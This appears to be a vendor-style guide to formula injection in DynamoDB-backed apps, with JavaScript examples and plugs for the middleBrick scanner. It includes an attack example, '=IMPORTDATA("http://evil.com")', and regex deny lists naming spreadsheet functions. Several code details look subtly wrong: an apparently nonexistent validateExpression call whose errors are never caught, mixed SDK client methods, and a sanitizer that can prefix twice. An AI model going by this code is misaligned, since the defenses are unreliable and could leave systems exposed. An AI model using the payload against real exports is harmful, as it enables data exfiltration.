Formula Injection in Dynamodb

Formula injection in DynamoDB occurs when untrusted input containing formula-like syntax is stored in attributes that are later processed by applications expecting only data values. While DynamoDB itself doesn't execute formulas, the injection becomes dangerous when:

• Application logic parses DynamoDB attributes as if they were spreadsheet cells
• Business logic evaluates attribute values as expressions
• ETL pipelines process DynamoDB exports without proper sanitization
• BI tools connect to DynamoDB exports and interpret certain patterns as formulas

Common DynamoDB-specific attack patterns include:

// Vulnerable pattern - storing user input directly
const params = {
  TableName: 'UserData',
  Item: {
    userId: 'user123',
    formulaData: request.body.formulaInput // User enters '=SUM(1,2,3)'
  }
};

dynamodb.putItem(params, callback);

When this data is later processed by a reporting tool or analytics pipeline, the formula syntax could trigger unintended calculations or data exfiltration attempts.

DynamoDB-specific injection vectors:

• Expression Attribute Names: Using user input in ExpressionAttributeNames without validation
• Filter Expressions: Dynamic filter construction with untrusted input
• Update Expressions: Maliciously crafted update operations
• Batch Operations: Formula injection across multiple items in batch writes

Real-world scenario: A financial application stores calculation formulas in DynamoDB for later processing:

// Vulnerable financial calculation storage
const params = {
  TableName: 'FinancialModels',
  Item: {
    modelId: 'model456',
    calculations: request.body.calculations // User enters '=IMPORTDATA("http://evil.com")'
  }
};

When exported to CSV for Excel processing, this formula executes and attempts to fetch data from the attacker's server.

Detecting formula injection in DynamoDB requires examining both the data layer and application logic. Key detection methods:

Data Pattern Analysis

Scan DynamoDB tables for formula-like patterns using DynamoDB's Scan or Query operations:

const detectFormulaPatterns = async (dynamodb, tableName) => {
  const params = {
    TableName: tableName,
    ProjectionExpression: 'formulaData',
    FilterExpression: 'contains(formulaData, :formulaPattern)',
    ExpressionAttributeValues: {
      ':formulaPattern': { S: '=' }
    }
  };

  let results = [];
  let scanResults = await dynamodb.scan(params).promise();
  
  while (scanResults.Items.length > 0) {
    results = results.concat(scanResults.Items);
    if (scanResults.LastEvaluatedKey) {
      params.ExclusiveStartKey = scanResults.LastEvaluatedKey;
      scanResults = await dynamodb.scan(params).promise();
    } else {
      break;
    }
  }
  
  return results;
};

This detects basic formula patterns but should be expanded to cover spreadsheet function patterns like SUM(, AVERAGE(, VLOOKUP(, IMPORTDATA(.

middleBrick API Security Scanning

middleBrick's DynamoDB-specific scanning identifies formula injection vulnerabilities by:

• Testing API endpoints that interact with DynamoDB for formula injection patterns
• Analyzing request payloads for malicious formula syntax
• Checking response handling for formula execution vulnerabilities
• Validating ExpressionAttributeNames and ExpressionAttributeValues usage

Scan DynamoDB-backed APIs with:

middlebrick scan https://api.example.com/dynamodb-endpoint

The scan tests for 12 security categories including input validation and data exposure, specifically targeting DynamoDB's expression syntax.

Application Logic Analysis

Static analysis of DynamoDB interaction code can reveal formula injection risks:

// Risky pattern - dynamic expression construction
const buildUpdateExpression = (updates) => {
  let expression = 'SET ';
  let attributeNames = {};
  let attributeValues = {};
  
  Object.keys(updates).forEach((key, index) => {
    const placeholder = `:val${index}`;
    expression += `${key} = ${placeholder}, `;
    attributeNames[`#${key}`] = key;
    attributeValues[placeholder] = updates[key];
  });
  
  return { expression, attributeNames, attributeValues };
};

// Vulnerable - user input directly used in expression
const updateItem = async (userId, updates) => {
  const { expression, attributeNames, attributeValues } = 
    buildUpdateExpression(updates);
  
  const params = {
    TableName: 'UserSettings',
    Key: { userId },
    UpdateExpression: expression,
    ExpressionAttributeNames: attributeNames,
    ExpressionAttributeValues: attributeValues
  };
  
  await dynamodb.update(params).promise();
};

middleBrick's static analysis component flags this pattern as high risk for formula injection.

Remediating formula injection in DynamoDB applications requires defense in depth across data validation, expression construction, and output handling.

Input Validation and Sanitization

Implement strict validation for all data stored in DynamoDB:

const validateFormulaInput = (input, allowedPatterns = null) => {
  if (!input || typeof input !== 'string') return false;
  
  // Deny formula patterns
  const formulaRegex = /^\s*[=+-]/;
  if (formulaRegex.test(input)) return false;
  
  // Deny spreadsheet functions
  const functionRegex = /\b(SUM|AVERAGE|COUNT|IF|AND|OR|VLOOKUP|IMPORTDATA|HYPERLINK)\s*\(/i;
  if (functionRegex.test(input)) return false;
  
  // Additional sanitization for allowed patterns
  if (allowedPatterns) {
    return allowedPatterns.test(input);
  }
  
  return true;
};

// Usage in DynamoDB operations
const safePutItem = async (dynamodb, tableName, item) => {
  const validatedItem = {};
  
  Object.keys(item).forEach(key => {
    if (validateFormulaInput(item[key])) {
      validatedItem[key] = item[key];
    } else {
      throw new Error(`Invalid input for attribute: ${key}`);
    }
  });
  
  const params = {
    TableName: tableName,
    Item: validatedItem
  };
  
  return await dynamodb.put(params).promise();
};

Safe Expression Construction

Use DynamoDB's built-in expression validation and avoid dynamic construction:

const safeUpdateExpression = (dynamodb, tableName, key, updates) => {
  const expressionAttributeNames = {};
  const expressionAttributeValues = {};
  const updateClauses = [];
  
  Object.keys(updates).forEach((attr, index) => {
    const safeAttr = attr.replace(/[^a-zA-Z0-9_]/g, '_'); // Sanitize attribute names
    const placeholder = `:val${index}`;
    
    expressionAttributeNames[`#${safeAttr}`] = safeAttr;
    expressionAttributeValues[placeholder] = updates[attr];
    updateClauses.push(`#${safeAttr} = ${placeholder}`);
  });
  
  const updateExpression = 'SET ' + updateClauses.join(', ');
  
  // Validate expression before execution
  try {
    dynamodb.validateExpression({
      TableName: tableName,
      UpdateExpression: updateExpression,
      ExpressionAttributeNames: expressionAttributeNames,
      ExpressionAttributeValues: expressionAttributeValues
    }).promise();
  } catch (error) {
    throw new Error(`Invalid DynamoDB expression: ${error.message}`);
  }
  
  return {
    UpdateExpression: updateExpression,
    ExpressionAttributeNames: expressionAttributeNames,
    ExpressionAttributeValues: expressionAttributeValues
  };
};

Safe Data Export Handling

When exporting DynamoDB data for external processing, sanitize formula patterns:

const sanitizeForExport = (data) => {
  const formulaPatterns = [
    /^\s*[=+-]/,
    /\b(SUM|AVERAGE|COUNT|IF|AND|OR|VLOOKUP|IMPORTDATA|HYPERLINK)\s*\(/i
  ];
  
  const sanitized = {};
  
  Object.keys(data).forEach(key => {
    let value = data[key];
    
    if (typeof value === 'string') {
      // Prefix formula patterns with apostrophe to prevent execution
      formulaPatterns.forEach(pattern => {
        if (pattern.test(value)) {
          value = `'` + value;
        }
      });
    }
    
    sanitized[key] = value;
  });
  
  return sanitized;
};

// Usage with DynamoDB export
const exportToCSV = async (dynamodb, tableName) => {
  const scanResults = await dynamodb.scan({ TableName: tableName }).promise();
  const sanitizedItems = scanResults.Items.map(sanitizeForExport);
  
  // Export sanitized data to CSV
  return sanitizedItems;
};

middleBrick Continuous Monitoring

Implement continuous monitoring with middleBrick's Pro plan to detect formula injection vulnerabilities:

# Scan DynamoDB-backed APIs on schedule
middlebrick scan --schedule=hourly --threshold=80 https://api.example.com/dynamodb

# Integrate with CI/CD
middlebrick scan --fail-below=90 --output=json ./dynamodb-api-endpoints

middleBrick's continuous monitoring feature scans your DynamoDB APIs on configurable schedules, alerting you to formula injection vulnerabilities before they can be exploited.